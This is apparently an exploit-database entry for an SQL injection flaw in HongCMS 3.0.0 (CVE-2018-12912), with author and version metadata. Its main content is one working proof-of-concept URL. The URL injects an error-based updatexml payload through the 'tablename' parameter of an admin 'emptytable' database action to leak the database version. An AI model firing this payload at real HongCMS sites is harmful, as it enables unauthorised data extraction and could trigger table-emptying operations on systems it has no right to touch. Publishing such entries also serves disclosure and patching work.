HongCMS 3.0.0 SQL Injection

`# Exploit Title: HongCMS 3.0.0 - SQL Injection  
# Google Dork: [if applicable]  
# Date: 2018/06/26  
# Exploit Author: Hzllaga  
# Vendor Homepage: https://github.com/Neeke/HongCMS/  
# Software Link: https://github.com/Neeke/HongCMS/  
# Version: 3.0.0  
# Tested on: php5.4 mysql5  
# CVE : CVE-2018-12912  
  
POC (Administrator Privilege):  
  
/admin/index.php/database/operate?dbaction=emptytable&tablename=hong_vvc%60%20where%20vvcid%3D1%20or%20updatexml%282%2Cconcat%280x7e%2C%28version%28%29%29%29%2C0%29%20or%20%60  
  
`